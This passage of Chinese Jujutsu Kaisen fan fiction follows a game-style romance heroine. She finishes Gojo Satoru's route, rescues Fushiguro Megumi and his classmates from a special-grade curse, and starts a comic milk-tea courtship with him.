这个时候甩开他,绝对会生气的吧。 说不定会哭。 唉,抱歉,让帅哥流泪的事情,她还是做不到啊。 当然,床上除外。 他红着眼眶、白皙的鼻尖也泛起一点红色的样子真的很好看,像雪山红梅。 胡思乱想中,她被按在了椅子上。然后五条悟动作僵硬地拉开对面的椅子,不太自在地坐下了。 两人彼此对视许久,陷入了无言的沉默中。 这一幕落入偷偷围观的群众眼里,真是急死他们了。 “他们不会这样到天亮吧?”钉崎野蔷薇握紧了拳头。 家入硝子叼着一根巧克力棒,笑道:“吓死我了,差点以为五条能找到老婆了。” “讲道理,你们真的不觉得很土吗?”禅院真希忍不住说道,“这种小花招怎么可能瞒得过小桃会长。” 成熟可靠的大人推了推眼镜,开口道:“这个时候,就需要我们帮忙了。” 伴随着一阵悠扬的音乐声,打扮成服务员模样的学生们推着一个小推车走了过来。推车的几个夹层都摆满了,最上层是一张金边的白瓷盘,装着一个巴掌大小的蛋糕。 雪白的奶油在蛋糕表面堆砌出蓬松的云层,翻糖制作的红色玫瑰点缀其中。今野桃已经能够想象出自己切开后,里面掉出来的“惊喜”了。 那大概是一枚戒指。 等它掉出来,准备已久的男人就会顺势拿起,然后进行一场感人肺腑的告白,打出一个酣畅淋漓的HE! 就在今野桃即将伸手的时候,五条悟突然又按住了她的手背。 “决定好了吗。”他的瞳孔在灯光下泛着深邃的蓝,像夜里静谧的海洋,想要漫过她的每一寸肌肤,让她变成一条游鱼,从此被他彻底吞噬,再也无法离开。 今野桃从善如流地缩了回去:“好的,那就算……” “我开玩笑的!”五条悟大声打断了她,一双眼睛瞪得又大又圆,带着明显的委屈,“都这个时候了,你怎么还欺负人啊!” 呵,还跟她玩欲擒故纵呢。 她反手握住了他,轻轻晃了晃。 “别怕,无论如何,我都会在你身边。” 她承诺着,黑色的眼眸里映照着这轮旁人可望而不可即的月亮。 “……这可是你说的。”他垂下眼睫,咕哝着回答,平静的海面泛起了波浪。 那久久卡在最后一点的好感值终于跳动了一下。 【五条悟好感值:100】 【五条悟—月奔(HE) ——你不必仰望月亮,月亮自会奔你而来。】 一道流星划过天空,越来越明亮、越来越明亮…… 等等,那好像不是流星?! 轰!! 一个庞然大物坠落在露台上,幸好众人闪避及时,才没有被砸中。 这是……? “啊,抱歉,追杀敌人没注意。”有着四手四眼的怪物相当友善地开口道,“你们没受伤真是太好了。” 五条悟面无表情地看着他。 那怪物左右看看,从钉崎野蔷薇的怀里抢走了她小心保护的盘子,直接将上面的蛋糕倒进了嘴里。 众人只听咯吱一声响,两面宿傩笑道:“哟,夹心还挺硬的。” 五条悟抬起了手:“虚式茈。” “等等,大家有话好好说啊!!” 就在两人打得不可开交的时候,一阵狂风吹过,大家只觉得眼前一花,下一秒,最重要的人就消失不见了。 坐在蝠鲼咒灵上的男人矜持地朝他们挥挥手,抱着一脸茫然的珍宝扬长而去。 “你……”今野桃惊讶地开口。 夜风卷起男人的长发,他小心地拢着外套,不让寒风惊扰她。 他笑眯眯地说道:“没想到啊,宿傩的见识还挺广的。” 今野桃恍惚想起来,对哦,[无为转变]不就是真人的术式吗,而现在,真人刚刚诞生。 这两人,还挺会抓住时机的哈。 “你可真是……”她不禁无奈扶额。 算了,她看着他接近满值的好感,终究还是沉默了。 第125章 春日的风裹着暖意,将枝头的樱花吹成纷纷扬扬的落雪。少男少女站在树下,任凭花瓣落满了他们的发丝和肩头。 容貌清俊、身姿挺拔的男生似乎说了什么,外表出众的女生露出了恍然大悟的表情,随即含笑点头,眉眼温柔无比。 斑驳的光影在他们的脸上跳跃,如同一道道聚光灯。 这是比电影里的画面更加动人的场景,美得令人心醉。 但在有的人眼里却并非如此。 “老……师……!”虎杖悠仁的声音远远地就传来了,“钉……崎……” 这对师生正站在甜品站的门口偷懒,手里还拿着甜筒。 “不管要做什么,都得让我吃完冰淇淋再说。”这可是他们排了好长时间的队才买到的呢…… 虎杖悠仁一个急刹车,停在了他们面前,两只手比作大喇叭,表情严肃地对他们大喊道:“大事不好了!” 五条悟哧溜一声舔了口快要融化的奶昔,漫不经心地回答:“怎么了,有特级咒灵出现?” 就算是特级咒灵,也不能阻止…… “伏黑惠他,被人搭讪了啊!”虎杖悠仁惊恐地说道,“而且还是被一个大美女搭讪了!!” 咚咚。 伴随着甜筒落入垃圾桶的声音,五条悟和钉崎野蔷薇拔腿就朝虎杖悠仁所指的方向冲刺。 “在哪里?!” “在那!” 拐过两个弯,美好的画面就映入他们的眼帘。 大事不好!这都有说有笑起来了!!这怎么能行,他们都没有脱单,怎么能让同期/学生先行一步!说好大家手牵手,谁先脱单谁是狗! 虎杖悠仁和钉崎野蔷薇一个飞扑,挂在了伏黑惠的身上,发出了哀怨又委屈的呼喊:“伏黑小甜心~~” 伏黑惠肉眼可见地抖了一下。 虎杖悠仁和钉崎野蔷薇一个抱着他的腰,一个抱着他的肩膀,恨不得贴在他的身上。 “那女人是谁啊?”钉崎野蔷薇眼角含泪,“为我眼眸干杯的那晚,你都忘了吗?!” 虎杖悠仁抽泣着:“你说跟我在一起最快乐,难道都是骗人的吗?” 就在伏黑惠一脸迷惑又茫然的时候,英俊帅气的五条老师闪亮登场。 他脱下了古板的制服外套,露出了自己昂贵的丝质衬衫,黑色的墨镜滑落至鼻梁,那双湛蓝色的瞳孔仿佛在熠熠发光。 “不要随便触碰他啊,你们几个偷腥猫。”他用咏 叹调说道,“小惠要跟我一起去练习小提琴呢~今晚让我们彻夜学习《一闪一闪亮晶晶》吧!” 伏黑惠的拳头握紧了。 “你们这群家伙,到底在搞什么啊。”一根根青筋在男生的额头上跳动,伏黑惠闭了闭眼,从嗓子眼里挤出声音说道,“只是在问路而已!” 他扭头,对含笑的女生说道:“没事的,请不要在意直接走吧。” 然而女生的脚步却没有挪动一分一毫,她歪着头,乌黑的鬓发垂落,衬得她的肌肤越发白皙。 “这些是你的同学吗?”她的声音像是夏天盛放在玻璃杯里加满冰块的汽水,带着三分甜意和七分透亮,让人听着就忍不住猜测,声音的主人一定很漂亮。 伏黑惠愣了一下,随即点头:“是的,请不要误会。” “没事,你跟他们的关系一定很好。”女生抿嘴笑道,“你的名字是‘伏黑惠’吗?” 这个问题,已经超出了问路的范畴了吧。 伏黑惠不太自在地点头,不等他继续说什么,钉崎野蔷薇和虎杖悠仁的声音陡然变大。 “果然啊!是变心了吧!变心了吧!” “呜呜呜,你这家伙实在是太过分了,见一个爱一个是吗!” 五条悟挑眉,扫过面对这混乱一幕连嘴角的弧度都没变化的女生,大手一扬说道:“果然,花心的家伙就该受到惩罚啊!” 说着,他一把扛起了伏黑惠的上半身,钉崎野蔷薇和虎杖悠仁一人抓住了他的一只脚,三人抬着伏黑惠,如一道旋风,眨眼的功夫就跑了个没影。 被留在原地的女生眨了眨眼睛,在短暂的怔愣后,差点笑弯了腰。 在场的人中,恐怕只有当事人伏黑惠并不觉得好笑。他拼命挣扎,发出了尖叫:“你们在干什么啊!” 一路扛着他跑过了几条街,五条悟才放下了自己的学生。他擦了一把额头上的汗,长长地吐出了一口气。 “呼——好险。”他皱起了眉头,沉下脸的时候显得有些气势沉重。 “什么?难道刚刚那个女生有问题吗?”虎杖悠仁听老师这么说,紧张起来了。 钉崎野蔷薇抱着手臂问道:“难道刚刚问路只是一个借口,她就是冲着伏黑来的?” 五条悟重重点头,一拍巴掌说道:“没错!幸好我们跑得快,差点就让那个女生把写着电话号码和LINE的纸条拿出来了呢!” 伏黑惠:什么啊,只是搭讪而已…… “太好了!”两个同期不约而同地发出了庆幸的声音。 仿佛有一个鲜红的十字挂在了伏黑惠的脑门上,他觉得自己的拳头开始痒起来了。 “你们真是……”他咬牙切齿地说道,“太过分了!” 五条悟忽然掏出了手机,大惊失色地说道:“不好,有临时任务要出差!” 他飞快地将原本搭在肩膀上的外套穿好,眼罩戴上,又变成了“成熟可靠”的五条老师。 “那么我就先走一步了,马上要下雨了,你们也早点回去呀!”他朝学生们比了个wink,“我可不会给你们带特产的哦。” 说完,他转身就消失不见了。 跑得可真快啊…… 最后虎杖悠仁顶着头上的两个大包,哭唧唧地跟在了伏黑惠的身后。 为什么……为什么挨打的只有他…… 钉崎野蔷薇吹着口哨若无其事地走在旁边,她可是被虎杖悠仁蒙蔽的受害者呀!都怪他谎报军情! 天色逐渐变得昏暗,原本澄澈的天空像是被泼了一层洗过毛笔的污水,浓重的铅灰色从天际翻涌而来,不知不觉就将最后一缕阳光也吞没了。 风开始不安地躁动,卷着尘土和碎纸屑之类的垃圾在街道上横冲直撞,把绿化带上的枝叶撕扯得哗哗作响,仿佛是带着不详意味的窸窣絮语。 当雨点一滴一滴滴落下时,他们三人已经由伊地知洁高接到了新任务的地点。 “我们的‘窗’在大约三小时前确认到咒胎,避难引导至九成时,根据现场判断,封锁了设施,半径五百米内的居民都已完成了避难。” 伊地知洁高将情况娓娓道来,让三个少年的表情越来越凝重。 “……预测将会成为特级级别的咒灵。” 特级……恐怕只有五条老师来,才能处理吧。 不过显然下发任务的高专那边没打算把好不容易招进来的新生全部送进地狱,他们不需要直面咒灵,而是确认里面的情况,并救出幸存者。 “遇到‘特级’时,只有死亡和逃跑两条路。”伊地知洁高的表情在昏暗的夜色中,竟然显得有几分冷酷和不近人情。 大概是从事这个职业,死亡已经是司空见惯的事情了吧。 “要记住,听从自己的恐惧。”他平静地说道。 和他形成鲜明对比的,是场外哭泣的监护人,她抱着几乎为零的期待,希望能看见儿子活着出现的身影。 “帐”被放下,伏黑惠伸出手结印,召唤出了玉犬。 强烈的不安让他的心高高地提起,明明走进这座少年院后,温度下降了不少,但他的脊背却开始沁出细密的汗水。 什么都不懂的虎杖悠仁还在开心地跟玉犬互动,他垂下浓密纤长的眼睫,深吸了一口气。 推开如深渊巨口般的大门,白色的玉犬率先走进去,它会为主人提供预警。伏黑惠紧紧跟着自己的式神,后面依次是虎杖悠仁和钉崎野蔷薇。 然而,他们并不知晓,自他们踏进门的刹那,就落入了咒灵的陷阱之中。 “不好,是生得领域!”伏黑惠又说出了一个虎杖悠仁没听过的词语,他猛地回头,“门呢?!” 另外两人后知后觉地跟着转过去,才赫然发现自己刚刚穿过的大门已经不见了。 这不过是第一个关卡。 当虎杖悠仁和伏黑惠争执着到底要不要将受害者的尸体带出去时,一道震耳欲聋的响声猛然在他们的耳边炸开。 钉崎野蔷薇抱着头蹲下,打着抖说道:“难道高专发现这个特级实力太强,决定用导弹①来毁灭它吗?!” 不,不对! 伏黑惠浑身一颤,一股冷气从脚底直蹿向天灵盖。 “玉犬!!” 有着蓝色皮肤、头顶长着四颗眼珠的特级咒灵不知道什么时候出现在他们的身边,它的一只手掐着玉犬的脖子,可怜的式神口中呕吐着血液,距离死亡只有一线之隔。 但这一线之隔如同天堑。 咒灵的手臂同样被一只手握着,那只手远没有特级咒灵那样粗壮,甚至对比之下称得上是纤弱,可就是能让它不得动弹分毫。 “没事吧?”她还是挂着那副微笑,仿佛这里是他们初见时的樱花树下,“抱歉,好像有点晚。” 伏黑惠的呼吸窒了窒。 “思来想去许久,还是忍不住跟了上来。”她非常有礼貌地从口袋里取出了一张纸条,“这是我的联系方式,请收下。” 虎杖悠仁和钉崎野蔷薇抱成一团瑟瑟发抖。 “这、这就是现在的搭讪方式吗……” “好、好厉害!” 伏黑惠僵硬地伸出手,两只手接过了纸条:“谢、谢谢?” 第126章 “不客气呀。”女生浅笑道,“还没有自我介绍吧,我叫今野桃,你可以叫我小桃。我可以叫你惠吗?” “惠”这个字本来就是女孩子用得比较多,如果再叫成“咩咕咪酱”(小惠),就太容易被人误会了,除非关系特别亲近。 伏黑惠沉默两秒,点头同意了。 “刚刚那个动静是你制造出来的吗?”他转头看向生得领域中被撕裂出的那一个口子,透过这个缝隙可以看见外面灰蒙蒙的天空。 这是她强行开拓出来的生路。 “啊,是呢。”女生点点头说道,表情淡然自若,好像并不知道自己做出了怎样让人震惊的举动,“因为我太想立刻见到惠了,所以没忍住。真是不好意思啊,给你添麻烦了。” 添麻烦……这样怎么也不能说她是添麻烦了吧,恰恰相反,或许 是她救了他们。 伏黑惠一时间不知道该说什么,只能呐呐无言。 “对了,你们是来这里做什么的吗?”女生握着特级咒灵的手固若金汤,任凭咒灵如何挣扎也没有用处,“是要来处理这样的怪物?” 怪物? 难道这个女生,并不知道关于咒灵的事情? 特级咒灵握紧了拳头,放弃挣脱,转而狠狠地揍向了女生的面门。 “稍等一下。”女生对伏黑惠扯了扯嘴角,看向特级咒灵时,目光闪过一丝寒光。 她反手,将特级咒灵用力地掼在了地上。只听“轰!”的一声,地上被砸出了一个巨大的坑,裂纹呈放射性向四周散开。 不等咒灵反应过来,女生的拳头如雨点一般砸在了它的身上,一拳比一拳用力,血液飞溅出来,落在女生的脸上,留下了一道道痕迹。 直到咒灵的脑袋都快被砸成一滩肉泥,她才轻轻地吐出了一口气,活动了一下肩膀,嗤道:“不自量力。” 咕咚。 三个没什么见识的高专学生咽了咽唾沫。 那、那真的是特级咒灵吧?如果是的话,可以把特级咒灵当成沙包一样的女生,又该是什么等级的呢? 本该给予特级咒灵最后一击的女生在紧要关头停下了,她若有所思地扫过三个学生,开口道:“一般出现这种怪物的地方,普通人都会躲得远远的,结果你们还迎难而上。莫非,你们其实是专门处理这种怪物的组织?” “是的。”伏黑惠颔首说道,“准确地说,我们是咒术高专的学生,是咒术师,专门祓除这种名为‘咒灵’的怪物。” “原来如此。”女生对伏黑惠的解释很高兴,他看起来也没有表面上那样冷酷嘛,“既然这样,那这个咒灵就给你们吧,反正它对我也没有什么用,但对你们一定很有用吧。你们可以拿它换钱或者换别的东西吗?” “当然可以!”钉崎野蔷薇双眼放光,“一个特级咒灵可是相当值钱呢!而且,我还是第一次见到特级咒灵!” 还是一个身受重伤的特级咒灵! 如果祓除了它,也是人生中最能拿出来大吹特吹的事情之一啦! “那就给你们吧。”女生后退两步,“或者趁这个机会,你们可以拿它来练练手。” 噢噢!用特级咒灵来练练手! 钉崎野蔷薇觉得自己的锤子已经在蠢蠢欲动了!伏黑惠面上表情不变,但眼中也浮现出了几分跃跃欲试。 要用自己的式神来和特级咒灵比试比试吗?这实在是一个再好不过的机会了。 “真的可以吗?”虎杖悠仁已经开始活动起手腕,兴奋地喊道,“那我就不客气了!” “没关系,现在它已经是你们的战利品了。”女生对伏黑惠眨了眨眼睛,“如果之后惠愿意请我喝杯奶茶,那就更好不过了。” “喝!”钉崎野蔷薇大手一挥,“别说喝奶茶了,就算是大餐也不为过啊!” “没错没错!”虎杖悠仁大力点头,“我一定会盯着伏黑每天都请你喝奶茶,至少连续喝一个月!” 女生噗嗤一声笑了出来:“一个月就算了,会发胖吧。” 伏黑惠的脸莫名有点发烫,他低下了头,小声回道:“嗯,回去我请你喝奶茶。” 本该有着一个炫酷出场的特级咒灵,就这样被几个学生瓜分掉了。 它在死到临头的时候,还试图恐吓那几个初出茅庐的学生。它龇着牙,四只眼珠子直勾勾地盯着他们,属于特级咒灵的威压毫不收敛地压在他们的身上。 一瞬间,三个学生的呼吸都停滞了。 仿佛有一座沉重的大山落在了他们的脊背上,整个人都有些喘不上气了。 啪啪。 女生拽着特级咒灵的手臂,像拖着一条死鱼一样把它从地上拖了起来,毫不犹豫地甩了它几个耳光。 刚刚升起的气势骤然萎靡,特级咒灵又变成了半死不活的样子。 “可、可恶!”被吓到了的钉崎野蔷薇大声骂着,给自己壮胆,“该死的东西,竟然还吓我!” 她的身上有一种近似于杂草的生命力,顽强又茂盛。 “一定要给它点颜色看看!”虎杖悠仁说着属于不良少年的台词,用力挥了挥自己的拳头。 于是特级咒灵彻底失去了排面。 它的脑袋上打着几颗钉子,像是某种行为艺术;原本还算完好的下半身被虎杖悠仁拿来试了试自己拳头的硬度,然而可惜的是,没能像那个女生一样把它锤得稀巴烂,只有七分烂。 伏黑惠就更过分了,竟然放狗咬它。看着自己的好同伴白玉犬被打成那个样子,黑玉犬气得嗷嗷叫,狠狠地咬在了咒灵的腿上。可惜等级相差太大,就留了个印子。 伏黑惠也算是知道自己的式神和特级咒灵之间相差有多大了。 他有些沮丧,但还是打起了精神,对女生认真道谢。 “谢谢你……小桃。”最后在念出她的名字时,他的声音有点不太明显的颤动。 “不客气呀。”今野桃笑吟吟地回答。 特级咒灵被解决,生得领域也消失了,少年院的大门再次出现,仿佛是游戏通关后的出口。 “那我就先走一步了,等你的消息呀,惠。”今野桃向他比了个wink。 但她最后看向的不是那个她口口声声要搭讪的男生,而是有着粉色头发、眼下还有两道奇怪纹路的虎杖悠仁。 她的眸光闪了闪,却什么都没有说。 伏黑惠的大脑空白了两秒,等到他回过神,女生已经消失不见了,宛如一场梦境,显得相当不真实。 但躺在脚边被玉犬咬着的特级咒灵是最好的证明。 伏黑惠低下头,把纸条小心翼翼地叠好,收进怀里。 一张嘴巴突兀地出现在了虎杖悠仁的脸上,用极细微的声音说道:“去看看。” “什么?”虎杖悠仁没有反应过来。 那张嘴巴嗤了一声,重复了一遍:“去看看那张纸条上写的东西。” “不就是今野的号码吗。”虎杖悠仁懵懂地说道,“有什么好看的。” 算了,跟他说不清,还没开窍呢。 “对了,两面宿傩,刚刚那么危险,你怎么不提醒我一下?!”虎杖悠仁嘟囔道,“幸好今野出现,不然我们真的会有很大的麻烦诶!” 神经,你们有危险,跟他有什么关系。 两面宿傩在生得领域里翻了个白眼。 “还有,我想问一下你哦,你觉得是你厉害,还是这个特级咒灵厉害,还是今野厉害呀?”虎杖悠仁天真地发问。 两面宿傩:“……” 有时候他真的搞不懂,这家伙是故意的还是不小心的。 那张嘴巴啧了一声,隐去了。 第127章 三个学生拖着就剩最后半口气的特级咒灵找到了伊地知洁高,对方大吃一惊,第一反应就是,这绝不可能是三个孩子能够做到的事情。 事实也确实如此,他们老老实实地说明了事情的经过,重点描述了一下那位好心的女同学从天而降的场景。 伊地知洁高听得一愣一愣的,满脸都是难以置信。 “你的意思是,她、她是跟踪伏黑同学来的?”还是成熟的大人抓住了重点,“她是一直跟踪在伏黑同学的身后,还是她在伏黑同学的身上留下了定位?” 三个学生一时间沉默了。 不管是哪个说法,听起来都有点奇怪啊。 “不论如何,是她救了我。”伏黑惠移开视线,语气有些虚。 钉崎野蔷薇和虎杖悠仁和他隔了两米距离,交头接耳、窃窃私语。 “我就知道,天上掉下来的馅饼一定都是有毒的。”钉崎野蔷薇啧啧说道,“看,伏黑那张好看的脸召来变态了吧。” “好像、好像是有点变态哈……”虎杖悠仁虽然善良热情,但也知道跟踪是不对的啊! 她到底是怎么用那样一本正经到大家都没有觉得哪里有问题的语气说出那么可怕的话语来的! 伊地知洁高推了推眼镜,看了一眼地上的特级咒灵,默然不语。 如果不是那个女生,遇到了特级咒灵的三个小孩,绝不会像现在这样活蹦乱跳。受伤还是轻的,说不定…… 他叹了口气。 “我知道了。”男人将特级咒灵彻底祓除,然后抬头严肃地对三个孩子说道,“这件事情,你们先不要对任何人说,就当做没有遇到这个特级咒灵,直到五条老师回来,明白吗。” 幸好这里只有他在,其他人已经被疏散开了。如果被其他辅助监督看见,一个流落在外的、有着堪比特级咒灵强大实力的野生咒术师,一定会被总监部想方设法地拉拢。现在对方表现出了对伏黑的好感,他们当然要把握住这个机会。 三个学生面面相觑,点点头回道:“好的。” 可惜了他们的那笔奖金。 少年院的风波慢慢平息了,但显然有人的生活发生了改变。 虎杖悠仁撑着下巴,和钉崎野蔷薇一左一右,用死鱼眼瞪着坐在中间的伏黑惠。 换做以前,敏感的少年早就受不了他们的目光,绝对会跳起来跟他们好好“理论”一下的。 可是现在,他无动于衷,眼睛一直钉在屏幕上。虽然还是那副酷哥表情,但稍微熟悉一点的人都能察觉到,他的嘴角不自觉地微微上扬,垂下的刘海和浓密的睫毛都遮不住他像春水一样温柔的眸光。 虎杖悠仁伸长了脖子,下巴抬得老高了,勉强从侧面看见了屏幕的一角。 那是一个在地上滚来滚去的小狗表情包,小狗滚动的时候,还有红色的爱心冒出来。 呜呜呜,真好啊,他的同学好像脱单有望了……他好开心……真的……呜呜呜…… “呵呵。”那张嘴巴又出现了,带着不怀好意的语气说道,“后悔了吧?让你去看看那个女人的联系方式,你又不去。” “闭嘴吧。”虎杖悠仁皱了皱鼻子,“你这家伙绝对居心不良,我才不要听你的。” “嘁。” 好在没多久上课铃就响了,虽然看起来像不良少年,但其实还算是乖宝宝的伏黑惠将手机收起来,认真听课。 但他下了课就又掏出了手机,虎杖悠仁和钉崎野蔷薇头一次觉得上课的时间怎么如此短暂。 还有,伏黑真的有听进去吗?怎么感觉他刚刚在发呆? 虎杖悠仁滑动椅子,靠近了伏黑惠。对方眼疾手快地关掉了屏幕,反应过来后,意识到自己的这个举动好像有点做贼心虚似的,于是又装模作样地打开了。 钉崎野蔷薇忍住翻白眼的冲动,强调了一遍:“我对你的感情生活一点都不关心,好吗。” “唔。”伏黑惠含含糊糊地应道。 虎杖悠仁用肘关节抵在桌上,开口道:“伏黑是在跟今野发消息吧?” “嗯。”伏黑惠简短地回答。 好酸……走在路上会被一见钟情然后悄悄跟踪的经历,怎么听怎么都让人觉得神奇啊。 这、这莫非就是入室抢劫般的爱情? “那你打算什么时候请今野喝奶茶呢?”虎杖悠仁还记得自己的承诺,催促道,“不要忘记啦。” 伏黑惠颔首道:“我已经跟今野约好了,今天下午就去。” 嘶。 两个同期倒吸了一口气。 进展这么快吗! “不、不就是被异性请喝奶茶吗,我才不羡慕呢。”钉崎野蔷薇酸溜溜地说道,“总有一天,我也可以走在街上被星探拦住!” 想起刚刚来到东京时,被星探绕着走的场景,她愤愤地决定等下再去大购物一番,买几条漂亮的裙子犒赏一下自己。 “一定可以的!”虎杖悠仁给同学加油打气。 真是莫名其妙的两个人,突然就燃起来了。 伏黑惠用力一蹬地面,往后滑出一段距离,离两人远了一点。 他敲击着手机键盘,给女生发消息。 [你还需要什么资料吗,我一起带给你。] [多谢啦,不过这些就先够用了,正好我今天也没有社团活动呢,等下还可以一起吃饭!惠有什么喜欢和不喜欢吃的东西吗?] 吃、吃饭? 伏黑惠犹豫了一下,回复道: [没有,我都可以的,你就挑选你喜欢的餐厅好了。] [好呀,我觉得惠也一定会喜欢的!] [嗯,会的。] 伏黑惠上下滑动了一下屏幕,发现自己的回复大多比较简短,不由地心生不安。 是不是要多说一点比较好呢? 但比起用华丽的词语来修饰语言,他还是更喜欢行动。 从未觉得上课的时间如此漫长,伏黑惠几乎是一听到放学的打铃声就站了起来。凳子脚在地面摩擦,发出刺耳的声音。 “你们不用等我去食堂吃饭了。”他飞快地收拾书和文具,低声说道,“我晚上在外面吃。” “啊?”虎杖悠仁呆呆地看着他,“你……我……不是……” 他泪眼汪汪地看着唯一的男同学,可惜对方连眼角的余光都没有施舍给他,拎起书包自顾自地走了。 钉崎野蔷薇拍了拍虎杖悠仁的肩膀:“我也不在学校吃,你自己解决吧。” “诶?!”要丢下他一个人吗?! 虎杖悠仁感受到了空巢老人的寂寞。 他拖着沉重的步伐回到了寝室,正要踏上最后一个台阶的时候,就和对面的伏黑惠打了个照面。 他惊喜地挥手道:“伏黑,你……” 对方只是匆匆地朝他点了点头,然后就与他擦肩而过了。 一阵似有若无的香气飘来,把感官敏锐的虎杖悠仁熏得打了个喷嚏。 他后知后觉地反应过来,伏黑惠没有穿制服。 他换了一件剪裁合身的衬衫,扣子严谨地扣到了喉结的位置。外面是一件牛仔外套,让他少了几分成熟,多了几分少年气。 他好像还喷了香水,空气中的那点香味越来越浓了。 这就是有对象和没对象的区别吗? 虎杖悠仁如是感慨。 就在他掏出钥匙想要开门的时候,两面宿傩的声音又响起来了。 “喂,小鬼,要做个交易吗?” 虎杖悠仁顿住。 这实在是一件很不寻常的事情。寄宿在他身体里的诅咒之王这两天出现的频率太高了,自从上次被五条悟老师狠狠揍过后,他原本是很安静的。 难道他又有什么坏主意了? “不做。”虎杖悠仁果断拒绝。 这也算是在两面宿傩的意料之中吧。他轻哼一声,又说道:“不打算跟上去吗?难道你就不关心自己的朋友第一次约会是否顺利?” 虎杖悠仁面露挣扎。 “万一被女生甩了,他可是很需要你们安慰的呢。”两面宿傩笑嘻嘻地说道。 短暂的安静后,虎杖悠仁做出了决定。 他把钥匙收了回来,一脸正色:“你说得没错,我只是关心伏黑而已!” 绝不是想看同期热闹! 去往市中心的话,需要乘坐公交车。从高专到车站,可是有很长一段距离,现在跟上还来得及! 虎杖悠仁转身,若无其事地走在林荫小路上。趁着没人注意,钻进了林子里。 然后,他就在一堆灌木丛中和钉崎野蔷薇碰面了。对方鬼鬼祟祟地趴在树底下,朝着前面张望。 听到身后动静,她猛地回过头。 两人相顾无言,然后不约而同地错开了目光,遮掩住那一丝心虚。 “好、好巧,你也下山啊……” “哈哈,是啊……” 第128章 虎杖悠仁和钉崎野蔷薇在漫长的沉默后,决定互相装作不知道对方的打算。他们偷偷摸摸地跟在伏黑惠的身后,来到了他们约定好的地点。 黄昏时分的阳光并不灼热,焦糖色的天空飘着一朵一朵的云霞,像是染了颜色的棉花糖。 伏黑惠坐在奶茶店里 靠窗的位置,目光透过窗户往外看,手指无意识地摩挲着泛着水珠的杯壁。店内的冷气开得很足,他的眉眼间却带着几分焦虑。 当目光第三次扫过门口,终于他听见了风铃发出的清脆声响。五点整,玻璃门被准时推开。女生显然是一下课就过来了,还穿着蓝黑色的校服。百褶裙刚好到她的膝盖位置,随着她的动作而飘动。 真奇怪,明明是偏向于保守古板的传统水手服,为什么她穿起来却那么好看? 黑色的发间点缀着一枚小小的桃花发饰,给她增添了几分可爱的气质。她环顾四周,在看见伏黑惠的时候,眼睛明显亮了起来,像是盛满了星星。 “抱歉,等很久了吗?”她加快了脚步,走到伏黑惠的面前时,他已经站了起来。 伏黑惠突然发现,她虽然来得匆忙,却也有认真打扮过。她的唇瓣在奶茶店的灯光照射下,闪着亮晶晶的光泽。 是擦了唇膏?还是唇蜜? 不太懂女生化妆品的伏黑惠困惑地想,她的皮肤好像也更白了,两颊上淡淡的粉色让他想起了水蜜桃。 男生的喉结上下动了动,他开口道:“没有,我刚到。” 他小小地撒了个谎,实际上他已经在这里坐了有一刻钟了,点的柠檬水也没了一开始的冰凉。 但她也没有迟到,因为本来约的时间也是五点左右。 “那就好。”今野桃松了一口气,忽然,她猛地上前了一小步,贴近了男生。 伏黑惠不由自主地往后仰了仰,两人之间的距离不到三十公分,这已经突破了普通朋友之间的安全距离。 “惠这次见面,好像有点不一样诶。”她笑意盈盈地开口道。 伏黑惠的身体有点僵硬,他不太自然地活动了一下腕关节,低声问道:“哪里不一样?很奇怪吗?” “唔,感觉是……”她拉长了声音,在男生紧张的注视下,不紧不慢地说道,“更帅气了。” 以她的经验来看,他的头发上还喷了发胶,勉强让自己的头发不那么炸毛。 伏黑惠抿了抿嘴,努力压制住涌上脸颊的热意。但他越是想要憋住,就越是将那点羞涩展露无遗。 掩藏在发丝下的耳朵泛着红色,和他故作淡然的表情形成了鲜明的对比。 仿佛察觉到了今野桃隐在眼眸深处的揶揄,他清了清嗓子,生涩地说道:“天气太热了。” “确实呢。”今野桃见好就收,坐在了他的对面,自顾自地开始选起甜品来。 伏黑惠暗暗松了一口气。 躲在外面的车站广告牌后面,两个同期好友也同样为他松了一口气。 “很好,这是一个不错的开始!”钉崎野蔷薇握着拳头,“保持住,脱单在望啊伏黑!” 虎杖悠仁大力点头:“没错没错!” 唉,兄弟享福心疼,兄弟落魄也心疼啊! 机会都到眼前了,怎么能不希望兄弟抓住呢! “幼稚。”两面宿傩不屑地说道。 然而他的意见被忽略了。 点单的时候,店员走了过来,她热情地给两人推荐新品。 “要尝尝看吗,我们店里为了庆祝情人节推出的当季新品!dokidoki甜蜜心动气泡水!”店员打开手中的菜单,指着其中一页说道,“我们还有特制吸管哦~!” 一大杯饮料上,插着一根Y字形的吸管,中间的那个接口处还被做成了爱心的形状。 今野桃看了一眼伏黑惠,对方已经慌张得不知道该把眼睛放在什么地方了。 “谢谢。”她轻笑道,“不过我们现在暂时还不用哦。” 店员了然。 还在暧昧期吗?嘿嘿,果然是少年的纯真爱情啊。 “好的,请问您二位有什么口味偏好吗?我也可以给你推荐一下。” “我要甜一点口味的吧,他要酸一点的,你们店里有梅子口味的奶茶或者果汁吗?”今野桃若无其事地回道。 “有的。” 在店员的推荐下,今野桃要了当季新品,而伏黑惠则是点了一杯青梅乌龙茶。 他其实是有点疑惑的,她怎么会知道自己的口味?而且指向如此明确,不像是随口说说而已。 “不好意思呀。”女生面对伏黑惠的疑问,吐了吐舌头,试图萌混过关,“因为真的太喜欢惠了,所以这两天打听了一下关于惠的事情,请不要介意啊。” 伏黑惠似懂非懂,但她又不是咒术界的人,怎么能做到打听他的消息? “啊,之前惠去便利店的时候,在那么多饭团里,选择了梅子饭团对吧。”女生歪着头,又是不经意地说出相当可怕的话语。 就算是伏黑惠自己,都要仔细回忆一下这是什么时候发生的。 那是他和虎杖悠仁刚刚认识没多久的事情了,他们一边在便利店吃饭团,一边讨论咒术师和普通人的差别。 “你……”伏黑惠张着嘴巴半天没能说出一个字。 “怎么了?”女生无辜地看着他问道。 “……没什么。”伏黑惠犹豫了一下,他不确定她到底知不知道做这种事是不对的,还是说……她只对他做出这种事情。 但像她这样的强者,应当不会……呃,那么变态吧? 第129章 后来伏黑惠终于知道了一个道理,那就是—— 是否变态和实力无关,和人有关。 他低下头,抿了一口青梅乌龙茶。果茶入口是清冽的酸味,激得他舌根发紧。但那股酸意还没消散,蜜糖般的甜就涌了上来。软中带脆的果肉在齿间碾压出汁水,酸甜交织时,让人不由地想起了某个午后,和喜欢的女生在走廊擦肩而过时的怦然心动。 伏黑惠抬眼,恰好对上她含笑的目光。 “真的非常抱歉,但我好像,对惠一见钟情了呢。”她的眸子里水光潋滟,像是春日潺潺流淌的小溪,波光粼粼地倒映出他的影子。 轰隆—— 一时间,他突然分不清这是窗外的雷声,还是自己陡然失序的心跳声。 下雨了。 